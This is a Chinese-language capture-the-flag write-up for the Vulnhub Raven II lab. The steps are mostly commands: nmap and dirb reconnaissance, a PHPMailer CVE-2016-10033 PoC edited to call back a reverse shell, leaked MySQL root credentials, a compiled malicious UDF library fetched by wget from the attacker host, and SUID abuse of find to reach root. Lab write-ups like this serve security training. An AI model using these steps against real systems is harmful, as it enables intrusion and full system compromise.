SfTian Vulnhub-Raven # Raven ## 收集主机资产 ```shell #搜索靶机IP netdiscover -r 192.168.0.0/24 #获取端口 nmap -sC -sV -A -p- 192.168.0.130 ``` ![image-20240716100951361](https://download.imxbt.cn/upload/202407161553130.png) ## 搜集信息 访问http服务进入cms,使用`dirb`搜索网站目录可以找到以下网站敏感路径`vendor`并识别出网站类型为wordpress 4.8.25 ![image-20240716101311104](https://download.imxbt.cn/upload/202407161553730.png) 由于使用现有WordPress POC攻击失败,访问`vendor`路径可以看到phpmailer的内容,查看PATH和VERSION文件分别拿到 ```text # PATH /var/www/html/vendor/ flag1{a2c1f66d2b8051bd3a5874b5b6e43e21} # VERSION 5.2.16 ``` ## 利用CVE-2016-10033 Getshell [CVE-2016-10033](https://github.com/opsxcq/exploit-CVE-2016-10033) ```shell searchsploit 37292 cp /usr/share/exploitdb/exploits/linux/local/37292.c /home/kali ``` 修改POC ```plaintext 41行地址改为http://ip/contact.php 42行backdoor.php可选改为其他的名称 44行修改回弹地址 47行-X之后的www/backdoor.php改成/var/www/html/backdoor.php ``` ![image-20240716112252356](https://download.imxbt.cn/upload/202407161552756.png) ## 收集数据 上级目录`/var/www`处有flag2.txt `/var/www/html/wordpress/wp-content/uploads/2018/11/flag3.png ` ``` flag2{6a8ed560f0b5358ecf844108048eb337} ``` ![img](https://download.imxbt.cn/upload/202407161552769.png) 进入网站目录的wordpress子文件夹可以收集到MySQL数据库信息 ```php define('DB_NAME', 'wordpress'); /** MySQL database username */ define('DB_USER', 'root'); /** MySQL database password */ define('DB_PASSWORD', 'R@v3nSecurity'); /** MySQL hostname */ define('DB_HOST', 'localhost'); ``` 连接数据库收集wp的用户数据,可以拿到michael和steven ``` select version(); show databases; use wordpress; select * from wp_users; ``` ## 数据库渗透 拿到root身份的MySQL信息,可以通过登录MySQL进行UDF提权 ### 查看前置条件 ```sql select version(); #5.5.60 show global variables like 'secure%'; #+------------------+-------+ #| Variable_name | Value | #+------------------+-------+ #| secure_auth | OFF | #| secure_file_priv | | #+------------------+-------+ ``` | 字段 | 值 | 解释 | | ---------------- | ----- | ---------------------------- | | secure_auth | OFF | 安全登录 | | secure_file_priv | NULL | 限制mysqld导入导出(无法提权) | | secure_file_priv | /path | 限制mysqld导入导出在/path下 | | secure_file_priv | | 没有具体值时不对目录做限制 | > 对于MySQL >= 5.1的版本,必须把UDF的动态链接库文件放置于MySQL安装目录的lib/plugin文件夹才可以创建自定义函数 ```sql show variables like '%plugin%'; #+---------------+------------------------+ #| Variable_name | Value | #+---------------+------------------------+ #| plugin_dir | /usr/lib/mysql/plugin/ | #+---------------+------------------------+ use mysql; select user,host from user; #+------------------+-----------+ #| user | host | #+------------------+-----------+ #| root | 127.0.0.1 | #| root | ::1 | #| debian-sys-maint | localhost | #| root | localhost | #| root | raven | #+------------------+-----------+ ``` 由于root只可以本地访问,所以不能通过MSF攻击 ### 进行提权 通过UDF漏洞进行提权,首先编译恶意so动态链接库 ```shell searchsploit 1518 #MySQL 4.x/5.0 (Linux) - User-Defined Function (UDF) Dynamic Library (2) | linux/local/1518.c cp /usr/share/exploitdb/exploits/linux/local/1518.c /home/kali gcc -g -c 1518.c gcc -g -shared -o maps.so 1518.o -lc ``` 拿到maps.so后启动python的http服务让靶机下载恶意so库文件 ```shell #kali python -m http.server 80 #Target cd /tmp wget http://192.168.0.128/maps.so mysql -uroot -pR@v3nSecurity ``` 进入数据库操作EXP ```sql use mysql; select database(); show variables list 'plugin%'; #查看MySQL的plugin文件夹目录位置 create table maps(line blob); # maps为可自定义 blob为二进制字符 show tables; insert into maps values(load_file('/tmp/maps.so')); #文件为/tmp目录下下载的so恶意文件 select * from maps into dumpfile '/usr/lib/mysql/plugin/maps.so'; #与L3查看plugin文件夹目录位置相对应 create function do_system returns integer soname 'maps.so'; select * from mysql.func; select do_system('chmod u+s /usr/bin/find'); #SUID提权 ``` > MySQL中outfile和dumpfile函数区别 > > outfile函数可以导出多行且会对文件进行写入的时候进行特殊的格式转换 > > dumpfile函数只能导出一行数据且能保持原数据格式 导出后即可提权 ```shell touch maps find / -exec "/bin/sh" \; id cat /root/flag4.txt ``` ``` ___ ___ ___ | _ \__ ___ _____ _ _ |_ _|_ _| | / _` \ V / -_) ' \ | | | | |_|_\__,_|\_/\___|_||_|___|___| flag4{df2bc5e951d91581467bb9a2a8ff4425} CONGRATULATIONS on successfully rooting RavenII I hope you enjoyed this second interation of the Raven VM Hit me up on Twitter and let me know what you thought: @mccannwj / wjmccann.github.io # ``` 取消回复 发表新评论 提交评论